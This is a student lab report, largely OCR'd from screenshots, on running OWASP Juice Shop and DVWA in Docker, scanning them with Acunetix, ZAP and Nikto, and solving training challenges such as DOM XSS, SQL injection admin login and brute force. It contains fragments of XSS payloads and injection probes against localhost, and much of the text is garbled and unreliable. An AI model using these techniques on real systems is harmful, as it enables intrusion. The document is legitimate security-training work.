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1.Environment Setup.
I was required to setup the environment of OWASP Juice Shop and DVWA.

A. OWASP Juice Shop

I started by installing docker using terminal for containerization as seen below;

install docker.io

-plugins docker-doc aufs-tools btrfs s-mount debootstrap rinse rootlesskit x zfs-fuse | zfsutils-linux firewalld

v-install.

install.

>.1.5+dfsgl, build a72d7

After completely setting up docker I then pulled juice-shop from github using the
following command,;



run 0:3000 bkimminic
j_umg,c ORI i —::ilk"p.‘l_ui._l:‘.‘::.l.' 7.k1k..u7.1ng.f
7 from bkimminich/ju
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Then I confirmed by checking the active processes in docker using the following
command,;

er ps

X ID IMAGE CC CREA STATUS PORTS
3 bkimminich/juice-shop " dejs/bin/node /j.." 54 seconds ago Up 51 seconds 0.0.0.0:3000—>3000/tcp, :::3000—3000/tcp suspic s_yonath

Then I accessed OWASP Juice Shop from my browser with port 3000 as seen below;



B | Kalilinux & OWASP Juice Shop
= C @

OffSec

O D localhost:

KaliLinux g KaliTools # KaliDocs N Kali Forums e Kali NetHunter s Exploit-DB

x
4§ OWASP Juice Shop

All Products

B.DVWA

Google Hacking DB~ HackTricks ~ GTFOBins [ Portswigger

Welcome to OWASP Juice Shop!

Being a web application with a vast number of intended security vulnerabilities, the OWASP Juice
Shop is supposed to be the opposite of a best practice or template application for web
developers: It is an awareness, training, demonstration and exercise tool for security risks in
modern web applications. The OWASP Juice Shop is an open-source project hosted by the non-
profit Ope: y_Pro p) and is developed and maintained by
volunteers. Check out the link below for more information and documentation on the project.

https://owasp-juice.shop

“@Help getting started A Dismiss

DeepSeek @ swisskyrepo/Payloads....

H CTF Challenges @ CTF Handbook \/ Home | Hackviser

Q @ Account @

. N
1.99%

This website uses fruit cookies to ensure you

As I have already enabled docker, I just pulled dvwa from github using the
following command seen below;

+0000]

"GET

mmand line:

Gecko

.ico HTTP

20100101 Fir

I then accessed it from by browser as localhost. This can be seen in the below

screenshot;



C @ O D localhost

OffSec ~ KaliLinux 4 KaliTools  KaliDocs N{Kali Forums o Kali NetHunter  Exploit-DB  Google HackingDB  HackTricks = GTFOBins [ PortSwigger < DeepSeek (® swisskyrepo/Payloads... H CTF Challenges @ CTF Handbook \/ Home | Hackviser

oA

2.VULNERABILITY SCANNING

I was required to perform vulnerability scanning on both OWASP Juice Shop and
DVWA using Acunetix , OWASP ZAP and nikto tools.

A.Acunetix
I installed and started the service of acunetix as seen in the below command;

disabled)

: DEBUG

I then accessed acunetix using my browser from port 3443 as configured and its
login page is as seen below;



WEB APPLICA N SECURITY

Sign In

It’s dashboard to add targets is as seen below;

wx @ Kali Tc - D B Kali Forums @ Kali NetHunte Exploit-DB Google Hacki

No Targets Found!

||||||

Then I added juice shop URL as my first target to get the vulnerability scanning as
seen below;



http://localhost:3000

Target Information

It performed the scan for the juice shop target and gave out scan information as
seen below;

® Scan

Vulnerabilities

Redis Unauthoriz Inerability http://localhost:

Slow HTTP Denial of Service Attack http://locall

http://locall

http://locall

Subresource Integrity (SRI) notimplemented  http://localhost:

Explanation of the vulnerabilities seen above;

1.Redis unauthorised access vulnerability

Redis is an in-memory data store often used as a database, cache, and message
broker. By default, Redis is configured to allow connections from any client without
authentication. If an instance is exposed to the internet (or an untrusted network)
and lacks a password, anyone can connect to it and read or modify its data.



Juice Shop uses a Redis instance for certain functionalities. Acunetix found that this
instance is accessible without a password. An attacker could potentially view
sensitive application data stored in redis and even corrupt or delete data.

2.Slow HTTP Denial of Service Attack

This is a type of low-bandwidth Denial-of-Service (DoS) attack. The attacker opens a
connection to the web server but then sends HTTP requests extremely slowly

If an attacker does this with many simultaneous connections, they can exhaust all
available connections on the server, making it unable to respond to legitimate users.
The web server is configured to wait for a full request and does not have timeouts to
drop these maliciously slow connections. This makes it vulnerable to this kind of
resource exhaustion attack.

3.Unencrypted Connection

The application is being served over plain HTTP instead of HTTPS. Any data
transmitted between the user's browser and the server (including passwords,
session cookies, and personal information) is sent in clear text. Anyone on the same
network can eavesdrop on this traffic and steal this sensitive information.

The site’s structure is as seen below;

@ Scan St y Il PauseScan
Site Structure

http://localhost:3000/

£ e

=

ftp

Redis Unauthorized Access Yulnerability Open

Slow HTTP Denial of Service Attack Open

Unencrypted connection Open

Open

Open




Then I ran a vulnerability scan for DVWA using acunetix as seen below;
I added dvwa’s URL in the target of acunetix as seen below;

nport bookma CaliLinux @ KaliTools [ Kali Docs ¥ Kali Forums @ Kali NetHunt Exploit-DB & Google Hacking DB

http://localhost:3000 ®) scan

Target Information

Administrator v

@ Scan

Acunetix Threat Level 2

P I3 ®R

3

@

Scan Duration RELIESS Average Response Time Locations

1m 25s 2,400 2ms

Target Information Latest Alerts

Many vulnerabilities like directory listing, redis unauthorized access vulnerability,
clickjacking and cookies without secure flag ser were discovered as seen in the
bigger picture below;



Y Filter

Content

impler

The DVWA’s site structure is as seen below;

e Structure




B. OWASP ZAP
I first installed and started ZAP as seen below;

" )-[~]
cd Downloads/

E : chmod +Xx

On starting this is how it looked like;

File Edt View Analyse Report Tools Import Export Online Help

Standard Mode FIEEEE I d=El=EEl=EEEE RO % @ me e g
@ Sites & § & Quick Start = Request ¢ Response Requester =
emnd

Welcome to ZAP ZAP.,

[E] Default Context Checkmaxx

@ Sites ZAP Is an easy to use Integrated penetration testing tool for finding winerabilties in web applications

N

Automated Sc Manual Explore Learn More

If you are new to ZAP then it is best to start with one of the options below.

‘ ZAP 2.16.1 s available now | Learn More | *

B History @ Search [WAerts |TOutput 4
@ @ | Filter: OFF ¢ Export &
[} Source Req, Timestamp Method URL Code Reason RTT Size Resp. Body Highest Alert Note Tags e

I then added DVWA as my first target and ZAP was able to to discover several
vulnerabilities as seen below;



ile Edit View Analyse Report Tools Import Export Online Help

StandardMode v|[1 B H B # S 2 HEE 00T D24 & € % @ @ vV leme
@Sites  + § #QuickStart <»Request <« Response 'Requester 4
PRl al=] Header: Text v | Body: Text | [
(5 Contexts HTTP/1.1 260 OK
(%] Default Context Date: Mon, 01 Sep 2025 10:36:36 GMT
@ Shes Server: Apache/2.4.25 (Debian)

vary: Accept-Encoding
Content-Length: 1529
Content-Type: text/html;charset=UTF-8

<head>
<titlesIndex of /dvwa/css</title>
</head>
<body>
<hl>Index of /dvwa/css</hl>
<table>
<tr><th valign="top"><ing <
modified</a></th><th><a href="7
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/dvwa/"~Parent DIrectory</a></td><td>Enbsp;</td><td

S Hstory @ Search [Alerts # [TOutput #Spider ) Active Scan 4

/icons/blank.gif" alt="[ICO] "></th><th><a href="7( =D"=Name</a=</th><th><a href=
">Size</a=</th><th><a href="7C=D;0=A">Description</a></th></tr>

n'=Last

20 /| @ Directory Browsing
[ Alerts (13) URL: hitp:/focahost/dvwalcss/
R Content Security Policy (CSP) Header Not Set {RISK: i Medium
Confidence: Medum

Directory Browsing (5)
"4 Missing Anti-clickjacking Header (10) Parameter:

[ XSLT Injection (3) Attack http://localhost/dvwalcss/

[ Cookie No HetpOnly Flag (2) Evidence:  Parent Directory

|41 Cookie without SameSite Attribute (2) CWE ID 548

[ Information Disclosure - Debug Error Messages WASCID: 48 _

[ Server Leaks Version Information via "Server" | 2O4rC&: Active (0 - Directory Browsing)

[ X-Content-Type-Options Header Missing (21) | PU Vector:

[ Authentication Request Identified Description

Pl Information Disclosuire - Suspicious Corments, 't s Possible ta view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information

[f Session Management Response Identified (3)
[ User Agent Fuzzer (122)
Other Info:

Solution
Disable directory browsing. If this is required, make sure the listed files does not induce risks.

Herts [0 U4 [U5 |4 Main Proxy: localhost:8080 Qurrent Status &0 2 0 @0 @0 @0 WO HO0 ¥O @0 S0

As seen above it was able to discover directory listing vulnerability and also below
it discovered missing anti-clickjacking header;

File Edit View Analyse Report Tools Import Expert Online Help

StandardMode |1 B HEE &%t XS 000 DE & & @ %@ @ v leme
@ Sites = ; 4 Quick Start  =»Request <= Response 7 Requester e
enEsE Header; Text ~ | Body: Text ~ [0 [
= Contexts HTTP/1.1 200 0K
(@) Default Context Date: Mon, @1 Sep 2025 10:33:09 GMT
@ Sttes Server: Apache/2.4.25 (Debian)

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 4185

Content-Type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC "-

DTD XHTML 1.0 Strict//EN" "http:

g/TR/xhtml1/DTD/xhtmll-strict

<html xmlns="http://www.w3.0rg/1999/xhtml ">

<head>
<meta http-equiv

Content-Type" content="text/html; charset=UTF-8" /=

<title>Setup :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

B History &, Search [ Alerts & TOutput  # Spider ) Active Scan <

e s ¢ Missing Anti-clickjacking Header
L= Alerts (13) U.RL: http‘//I?calhost/‘setup.php
[ Content Security Policy (CSP) Header Not Set (3iSK: [ Medium
|" Directory Browsing (5) Confidence: Medum )
| Missing Anti-clickjacking Header (10) Rawiler AR
[ XSLT Injection (3) Attack:
[ Cockie No HttpOnly Flag (2) Edence
|1 Cookie without SameSite Attribute (2) EUIE [ 1021
[ Information Disclosure - Debug Error Messages WASC D 15 -
vy Source: Passive (10020 - Anti-clickjacking Header)

|l Server Leaks Version Information via "Server
| X-Content-Type-Options Header Missing (21)
[0 Authentication Request Identified Input VecFor‘
¥ Information Disclosure - Suspicious Comments Description:
[P Session Management Response Identified (3) The response does not protect against 'Clicklacking' attacks. It should include either Content-Security-Policy with ‘frame-ancestors' directive or X-Frame-Options.

[ User Agent Fuzzer (122)

Alert Reference: 10020-1

Other Info:

Solution:
Modern Web browsers suppert the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your sitefapp
Alerts W0 [U4 [15 ¥4 Main Proxy: localhost:8080 Current Status 0 3 0 @0 @



Also I added juice-shop as my target to scan for vulnerabilities as seen
below;

File Edit View Analyse Report Tools Import Export Online Help

Standard Mode ~ ] FEETEIEEL -1 E === T % @ @y leme
@Sites  + § 4 Quick Start < Request < Response (7 Requester 4
[CRrlals] Header: Text | Body: Text v | (] [
(5 Contexts HTTP/1.1 500 Internal Server Error
(] Default Context Access-Control-Allow-0rigin:
® X-Content -Type-Options: nosniff

X-Frame -Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Rec ruiting: /#/jobs

Content -Type: application/json: charset=utf-8
: Accept -Encoding

Mon, Gl Sep 2025 18:54:50 GNT
Connection: keep-alive

{

1

: "SQLITE_ERROR: near \"(\": ntax error",
: "Error: SQLITE_ERI : near \"(\ ntax error",
: 1,
"SQLITE_ERROR",
: “SELECT * FROM Products WHERE ((name LIKE '%'(%' OR description LIKE '%'(%') AND deletedAt IS NULL) ORDER BY name"
1

1

HHistory @ Search [UAlerts # [TOutput #Spider D Active Scan #AJAX Spider  4¥ WebSockets 4
00 /¢ SQL Injection
© Alerts (14) URL: http://localnost:3000/rest/products/search?q=%27%28

[ SQL Injection Risk: [ High
[ Corttent Security Policy (CSP) Header Not Set (Confidence: Low

| Cross-Domain Misconfiguration (99) ISR ]

| Missing Anti-clickjacking Header (30) iy (

| Session ID in URL Rewite {130) Evidence:  HTTP/1.1 500 Internal Server Error

I Vulnerable JS Library CWE ID 89

{24 Cross-Domain JavaScript Source File Inclusion ( WASC Dt 19

[l Private P Disclosure ource: Active (40018 - SQL Injection)
{72 Timestamp Disclosure - Unix (164) Mgt Weecizere (UL @iy Sailay
Description:

{7 X-Content-Type-Options Header Missing (131)
[ Information Disclosure - Suspicious Comments
[ Modern Web Application (50)

[ Retrieved from Cache (21)

[ User Agent Fuzzer (123) Other Info;

SQL injection may be possible.

Solution:
Do not trust client side input, even if there is client side validation in place
In general, type check all data on the server side.

Alerts 81 [ 5 [U4 [¥4 Main Proxy: localhost:8080 Current Status &0 ) 0 @0 WO ®0 WO WO WO ®0 /C

Above it was able to discover sql injection in dvwa website which is possible with a
high risk of compromise.
Also it was able to discover cross-domain misconfiguration as seen below;

[Cl=R=al=} Header: Text v | Body: Text v [H [
5 Contexts HTTP/1.1 260 OK
(&) Default Context Access-Control -Allow-Origin: *
@ X-Content -Type-Options: nosniff

X-Frame -Options: SAMEORIGIN
Feature-Policy: payment 'self'

X-Rec ruiting: /#/jobs

Content -Type: text/plain; charset=utf-8
Content -Length: 28

ETag: W/"Lc-8HgFEmNyhsSFKOpasc CouBOwW] Xe "
Vary: Accept -Encoding

User-agent: *
Disallow: /ftp

HHistory S Search [ Alerts & TOutput  #Spider D Active Scan  #AJAX Spider  g¥WebSockets 4

e /¢ Cross-Domain Misconfiguration
Alerts (14) URL: http://localnost: 3000/robots, txt
[SQL Injection Risk: [ Medum

Confidence: Medium

[ Content Security Policy (CSP) Header Not Set |
{24 Cross-Domnain Misconfiguration (99) A
[ Missing Anti-clickiacking Header (30)

|4 Session ID in URL Rewrite (130)

[ Vunerable JS Library

[ Cross-Domain JavaScript Source File Inclusion (

arameter:
Attack:

Evidence Access-Control-Allow-Origin: *
CWE ID: 264

WASC D: 14

[ Private Ip Disclosure curce;  Passive (10098 - Cross-Domain Misconfiguration)
[ Timestamp Disclosure - Unix (164) ipelgvectoy
Description

[ X-Conttent-Type-Options Header Missing (131)
[ Information Disclosure - Suspicious Corments| Web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the web server
[ Modern Web Application (50)

[ Retrieved from Cache (21)

[ User Agent Fuzzer (123) Other Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using Unauthenticated APls on this domaln. Web browser implementations do not
permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk sornewhat. This misconfiguration could be used by an attacker to access data that is avallable

in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
Solution:
Ensure that sensitive data is not available in an unauthenticated manner (using IP address white-listing, for instance)

Configure the "Access-Control-Allow-Origin HTTP header to a more restrictive set of domains, or rermove all CORS headers entirely, to allow the web browser to enforce the Sarne Origin Policy (SOP) In
Alerts [ 1 U5 U4 [4 Main Proxy: localhost:8080 Qurrent Status $0 2 0 @0 @0 @0 W0 WO WO ®0 ,

Also timestamp disclosure was also discovered by the application/web server as
seen below;



enBas
(5 Contexts
(5] Default Context

®

# History & Search 3 Active Scan

LAPal 4

7Output % Spider

o Alerts &

Header: Text v

HTTR/1.1 260 OK
Access-Control -Allow-0Origin: *

Body: Text ~ | [ [

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Rec ruiting: /#/jobs
Accept-Ranges: bytes
Cache-Control: public, max-age=8

Last-Modified: Mon, 01 Sep 2025 10:51:41 GMT
ETag: W/"13875-199084e772a8"

nselected-icon-color :#b0bGb0; - -mat-full-pseudo-checkbox-disabled-selected-icon-color :#b@b0b0} html {--mat-minimal-pseudo-checkbox-selected-ch
olor :#673ab7; --mat-slider-hover-state-layer-color: raba(103, 58, 183, .05);--mat-slider-focus-state-layer-color: roba(103, 58, 183, .2);--mat
ate-text-color:rgba(0, ©, 0, .54);--mat-legacy-button-toggle-selected-state-background-color :#e0e0e0 ;- -mat-legacy-button-toggle-disabled-st
lined- text-field-input-text-placeholder-color:rgba(255, 255, 255, .6);--mdc-outlined-text-field-error-caret-color:#ff5722;--mdc-outlined-te

55, 255, .1);--mat-text-button-hover-state-layer-opacity:.08;--mat-text-button-focus-state-layer-opacity:.24; --mat-text-button-pressed-stat
1650485437, 137.0970873786, 151.8349514563) ;--theme-primary-darker:rgb(71.5223306971, 93.6601941748, 103.8776699029) ;--theme-primary-dark:r
(i Content Modified

S AAX Spider 4% WebSockets 4

Timestamp Disclosure - Unix

= Alerts (14) URL: http://localhost: 3000
[ SQL Injection Risk: [ Low
[ Contert Security Policy (CSP) Header Not Set | C"”fde”ce Low
[ Cross-Domain Misconfiguration (99) meter:
[4 Missing Anti-dlickjacking Header (30) A““k
[t Session ID in URL Rewrite (130) Evidence: 1650485437
[¥ Vulnerable JS Library CWED: 497
[ Cross-Domaln JavaScript Source File Inclusion (| WASCD: 13
Source

[0 Private IP Disclosure
W Timestamp Disclosure - Unix (164)
[ X-Content-Type-Options Header Missing (131)
[ Information Disclosure - Suspicious Cornments
[ Modern Web Application (50)

[ Retrieved from Cache (21)

[ User Agent Fuzzer (123)

Input Vector:
Description:

Other Info:

Passive (10096 - Timestamp Disclosure)

Atimestamp was disclosed by the application/web server. - Unix

1650485437, which evaluates to: 2022-04-20 23:10:37

Solution:

Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.

Alerts |1 U5 [4 [44 Main Proxy: localhost:8080

Qurrent Status 80 2 0 @0 #0 ®0 #0 H0O #0 ®0 ,

Also information disclosure was discovered as response appeared to contain
suspicious comments which may help an attacker as seen below;

[CfeRoaje]
(5 Contexts
[E]Default Context
Py

# History & Search [UAlerts & 7Output % Spider ) Active Scan

@e /¢
5 Alerts (14) URL:
{SQL Injection Risk: [ Informational
[ Content Security Policy (CSP) Header Not Set | Confidence: Low
Cross-Domain Misconfiguration (99) Parameter.
Missing Anti-clickiacking Header (30) Attack:
¥ Session ID in URL Rewrite (130) Evidence:  query
Vulnerable S Library CWE ID: 615
[ Cross-Domain JavaScript Source File Inclusion ( WASCD: 13
[ Private IP Disclosure Source; Passive (10027
{4 Timestamp Disclosure - Unix (164) Inpuit Vector:
Description:

|4 X-Content-Type-Options Header Missing (131)
[ Information Disclosure - Suspicious Comments
[ Modern Web Application (50)

[ Retrieved from Cache (21)

[ User Agent Fuzzer (123) Other Info:

The following pattern was used: \bQUERY\D and was detected in liely comment: "//owasp.org' targef

Header: Text ~

HTTP/1.1 200 0K
Access-Control-Allow-Origin: *

X-Content -Type-Options: mosniff
X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self

X-Recruiting: /#/jobs

Accept -Ranges: bytes

Cache-Control: public, max-age=0
Last-Modified: Thu, 87 Aug 2625 ©8:41:06 GHT
ETag: W/"67dob-19883b6d160"

Body: Text | & O

=>{throw o}) w)repeatNutlflcatmmew(return this.http.get (
AUTHORIZED_PAGE_A {var o=this;this.ngZone. run(

L {parans: (chauenge e}, responseType: "text
(sKlpLocatmnChamge 10,
"

his.hostServer+'/rest/repeat-notification”
T.A) (function® () {return yield o.router.navigate([
l” "Logout"," d” ”na barLogoutButton",3,"click", 4
X eturn a.onToggleSidenav(),t.Njj(
4](54»;4» %COMP%] {overflow-y:hidden;padding- lef @mx;'”a4
cetItem.id))}), t.nrm (1, "L -kés() n To(n,1) {if(16nE&(t.141(0, "mat-cell”,24) ,t .DNE(1,Fo,2 Tbutton”
"total price’],["class’, ‘product total",3, ‘matCelidef'] (4, matHeaderRowDef 1,04, ‘natRowbef", "natRowDé fColumns] | [ 1, ‘bonus-container”] , [ "tra
), 1.Y86("ngLf" e .blueSkyUrl) ,t .R7§() ,t.Y8G("nglf" e .nastodonlrl) £ .R7$() ,t.Y8G("'nglf", e twitterUrl) t.R7§() t.Y8G("ngIf" . facebookUrl) t.R7$
Al PAn(te P A7AS - (BRI e A el A e {vart - Rl (A i S rdm e Bdd 1 i T e i =nrsdl<Tame 420 i) 1 e frrn i bRV e RH KRB - o
Content Modified

# AAX Spider ¥ WebSockets

"3,

matHenuTrlggerF " ,4,‘n
e=t.RV6
I button. rotated,
06();return t.Njj(r.

nng 1, "mat -but ton
owPrlva(ySubmemu la

+

Information Disclosure - Suspicious Comments
http:/flocalhost:3000/main js

- Information Disclosure - Suspicious Cormments)

The response appears to contain suspicious comments which may help an attacker.

' blank'>Open Worldwide Application Security Project (OWASP)</a> and is developed and

maintained by voluntee", see evidence field for the suspicious comment/snippet.

Solution

Remove all comments that return information that may help an attacker and fix any underlying problems they refer to

Alerts 1 5 [14 4 Main Proxy: localhost:8080

Qurrent Status §0 20 @0 @0 ®0 WO O KO 0 /0

And many other vulnerabilities were discovered by ZAP using DVWA as a test

environment.



C: NIKTO
I first installed nikto using a command as seen below;

)-[~]

summanry :
1] pgrad

egovridc@egovridc: ~

egovridc@egovridc: ~ egovridc@egovridc: ~

3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3

RN R R R R RO R R RO R RS RS RS RS NI R R R R RS
P OORLLOLOLLLLLLLLD D OO
0000 o o 1o 10 1 M I R e e M M R R e o

i-915/ /

- Running
- 200 for
- Run

I saved the results in a text file as seen below;



Lnerability

P

HEAD /1
HEAD
HEAD /
HEAD
HEAD /
HEAD
HEAD

ackup/cert file f
t file f

f o o
fcert file found.
: Potentially inte
tially i
/530.htmL:

5/530. ntml:

/538.ntmL:

Then I also scanned for vulnerabilities from DVWA and several were discovered as
seen below;

3. EXPLOITATION OF VULNERABILITIES.

A. OWASP Juice Shop
On opening juice shop below is how the website looked like;



= ‘.OWASPJuice Shop Q @ Account @ EN

All Products

Apple Juice Banana Juice
(1000m1) GERIEROcE (1000ml)
1.99x 0.82H 1.99x

Best Juice Shop Carrot Juice Eggfruit Juice
Salesman (1000ml) (500ml)

Artwork 2.99x1 8.99x1

Then I just tried to through the inspect developer tool to get to understand and
discover insights about the website;

| OWASP Juice Shop

All Products

Apple Juice AR Banana Juice
(1000mI) Rppiplls FEmEEe (1000ml)

1.99x BHERH 1.99x

or (D pPerformance 4k Memory [ Storage T Accessi

gIf"], ["style", "margin-bottom: 18px;",4,"ngIf"],["mat-list-item","*,"routerLink","/sce

On searching I discovered a path to score-board as seen above so I had to visit and
see what it is about as seen below;



= .‘OWASPJuice Shop Q @ Account @EN

You successfully solved a challenge: Score Board (Find the carefully hidden 'Score Board' page.)

[v) 0, 1 2 3

4% 0% 4/172 3/28 0/23 0/44

Hacking Challenges Coding Challenges Challenges Solved 4 5 6
1/37 0/26 0/14

Difficulty

All Xss Sensitive Data Exposure Improper Input Validation Broken Access Control Unvalidated Redirects Vulnerable Components Broken Authentication

Security through Obscurity Insecure Deserialization Miscellaneous Broken Anti Automation Injection Security Misconfiguration Cryptographic Issues XXE

& 17 challenges are unavailable on Docker due to security concerns or technical incompatibility!

Miscellaneous Xss xss Miscellaneous
Score Board DOM XSS Bonus Payload Privacy Policy

Find the carefully hidden *Score Board" page. Perform a DOM XSS attack with <ifrane Us width="100%" Read our privacy policy.

I was able to get to the score board page and it was also part of the challenge so as
seen above I was able to get my first point from this task.

Then the website had an input field to search something, I tried to test if it is
vulnerable to XSS by crafting a payload and testing it to get an alert as seen below;

® localhost:3000

thov els + # @ B ED Layout

As seen above the field was vulnerable to DOM XSS and I as able to solve my second
task.

I tried to go through the inspect tools to get to know how it was parsed and I
discovered it as seen below;



= .‘OWASPJUiCG ShOp vascript:alert(*xss’)"> X e Account @EN

Search Results -

Then from the score board there was another task to use a bonus payload in the
DOM XSS challenge where I had to copy and paste the crafted payload to the search
bar as seen below;

|
Enable DRM

= .OWASP Juice Shop aser=true"><fiframe> X @ Account @EN

You successfully solved a challenge: Bonus Payload (Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://
w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/
tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"> <fiframe> in the DOM XS5
challenge.)

After submitting the payload I was able to solve the challenge and play an audio
embedded from the payload as seen above.



Then on exploring the website I found a login page, where I started testing for SQL
injection as seen below;

= '.OWASPJuice Shop Q @ Account §

5] Login

[] Remember me

or

G Log in with Google

Not yet a

After submitting that I was able to login as admin as seen below;

= .OWASP Juice Shop Q @ Account W Your Easl(et6 d

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)

All Products

Apple Juice ERELENIE)
(1000ml) Rpplis HomEeEs (1000ml)
1.99% 0808 1.991

Add to Basket Add to Basket Add to Basket

And that was all needed to solve the task above.

While logged in I was able to visit and read the privacy policy page and
it rewarded me with another solve to the tasks present in this
vulnerable website as seen below;



= ‘OWASP Juice Shop Q @ Account W Your Baskef

You successfully solved a challenge: Privacy Policy (Read our privacy policy.)

Privacy Policy
Effective date: March 15, 2019
OWASP Juice Shop ("us", "we", or "our") operates the http://localhost website (the "Service")

This page informs you of our policies regarding the collection, use, and disclosure of personal data when y ur Service and the choices you have
associated with that data. Our Privacy Policy for OWASP Juice Shop is created with the help of the Free Privacy Po i

We use your data to provide and improve the Service. By using the Service, you agree to the collection and use of information in accordance with this policy.
Unless otherwise defined in this Privacy Policy, terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, accessible from http://
localhost .

A. Information Collection And Use
We collect several different types of information for various purposes to provide and improve our Service to you.
Al. Types of Data Collected

Al.1 Personal Data

Lastly on exploring the website I came across a chatbot where the description was
bully chatbot, so all I had to do was to bully it until it releases a coupon code to
solve the lab as seen below;

You successfully solved a challenge: Bully Chatbot (Receive a coupon code from the support chatbot.)

Support Chat e

coupon

Did you consider a Deluxe membership to save some §?

coupon

| have to ask my manager, please try again later!

coupon

Oooookay, if you promise to stop nagging me here's a 10%
' coupon code for you: q:<Irh7ZKp

As seen above I was able to extract the coupon from it by just typing coupon
multiple times until it got bullied and released the coupon for me.
For now that was all I had to do to solve multiple tasks in this vulnerable website .



B: DVWA
On opening DVWA, all vulnerabilities to practice have been listed well for easyness
as seen below when I started exploiting them one after another;

1.Brute force
This was the first vulnerability listed in DVWA as seen below;

Notes Time request
o= 15:58:011 Se
— Vulnerability: Brute Force 15158011 5e
——— ble Web ... 15:58:011 Se
Instructions Login Web Appli 15:57:521 5e
Setup | Reset DB ulnerable .. 15:58:0915¢
Username: DamnV. 15:58:14 1 Se
s L — 155801152
Password
Command Injection
= — M= = inspector oD = -
—_— [ Login |
fEienciuaion I B ™ = Requestattributes 2
File Upload =
[FisUpload | pore Information
Insecure CAPTCHA Request headers 14
SQL Injection A

Response headers 3
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass

JavaSeript

View Source | View Help

Then I started analyzing the source code to understand how it works and I saw that
it uses a GET method to retrieve the submitted username and password inputs, also
I noticed there is no sanitization or escaping of the user inputs as seen below;

Brute Force Source

ulnerabilities/brute/sourcellow.php

-Compa re All Levels |



I then tried a test credential as seen below just to capture the traffic in
burpsuite;

Burp
Dashboard

3 Vulnerability: Brute Fo

Site map c @ localhost/

Home Vulnerability: Brute Force

Instructions Login
Setup / Reset DB
Username:

[BrueForce | Passiord

Command Injection ‘
CSRF

File Inclusion
File Upload Username and/or password incorrect.

Insecure CAPTCHA |

SQL Injection 3
9 i More Information

This is how the traffic looked like in burpsuite;

@ BUp  Project ntruder Repeater View Help HUrp Suite Community Laition v2
Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn

Sitemap  Scope  Issues

7 Site mapfiter: Hiding not found items; hiding CS, image and general binary content; hiding 4x¢ responses; hiding empty folders

> & localhost
Host. Method URL Params Status code Length MIME type Title Notes
http:/flocalhost GET Idvwaljs/add_event_listeners.js 200 218 script
http:/flocalhost GET Idvwafis/dvwaPage js 200 1357 script
http:/flocalhost GET Jindex.php 200 7135 HTML Welcome = Damn Vulnerable Web
http:/flocalhost GET flogin.php 200 1934 HTML Login  Damn Vulnerable Web Appli..
http:fflocalhost GET Isecurity.php 200 5717 HTML DVWA Security :: Damn Vulnerable ..
http:/flocalhost GET 200 4651 HTML Vulnerability: Brute Force : Damn V.
GET Jvulnerabilitiesfbrutefusermame=ad.. ¥ 200 %703 HTML Vi ute Force = DamnV...
http:/flocalhost POST Tlogin.php v 302 337
™ Inspector
Request Response
Pretty  Raw  Hex W = | pretty Raw  Hex  Render = | Request attributes
1 GET /ulnerabilities/brute/?username=adminépassword=test&Login=Login 1 HTTP/1.1 200 0K
HTTP/1.1 2 Date: Mon, 01 Sep 2025 12:58:36 GHT Request query parameters
2 Host: localhost Server: Apache/2.4.25 (Debian)
3 sec-ch-ua: *Chromium®;v="137", *Not/A)Brand Expires: Tue, 23 Jun 2009 12:00:00 GHT Request cookes
4 sec-ch-ua-mobile: 26 Cache-Control: no-cache, must-revalidate
5 sec-ch-ua-platform: “Linux* Pragma: no-cache Request headers
6 Accept-Language: en-US,en; vary: Accept-Encoding
7 Upgrade-Insecure-Requests: 1 Content-Length: 4375 Response headers
g User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTHL, 9 Keep-Alive: timeout=s, max=100
like Gecko) Chrome/137.0.0.8 Safari/s37.36 10 Connection: Keep-Alive
9 Accept: 11 Content-Type: text/html;charset=utf-g
text/html, application/xhtnl+xul,application/xnl;q=0.9, inage/avif, inage | 12
/webp image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.7 13
10 Sec-Fetch-Site: same-origin 14 <!DOCTYPE html PUBLIC *-//W3C//DTD XHTML 1.0 Strict//EN"
11 Sec-Fetch-Hode: navigate *http://wmw.w3. org/TR/xhtnl1/DTD/xhtnl1-strict. dtd">
12 Sec-Fetch-User: 21 15
13 Sec-Fetoh-Dest: document 16 <htmL xmins="http://www.v3.org/1999/xntnl">
14 Referer: http://localnost/vulnerabilities/brute/ 7
15 Accept-Encoding: gzip, deflate, br 18 <head>
16 Cookie: security=low; PHPSESSID=k2uc4lvi9veuiSmréc9jnaévds; security= | 19 <nmeta http-equiv="Content-Type* content="text/html; charset=UTF-8
Tow s>
17 Connection: keep-alive
18 <title>
19 Vulnerability: Brute Force :: Damn Vulnerable Web Application
(DVWA) v1.10 *Developmentx
</title>
<link rel="stylesheet® type="text/css* href="
../..favwa/css/main. css® />
<link rel=*icon® type="\image/ico® href="../../favicon.ico® />
@& €|[2] | searcn £ onighlights | (D} €| | search £ ohighlights

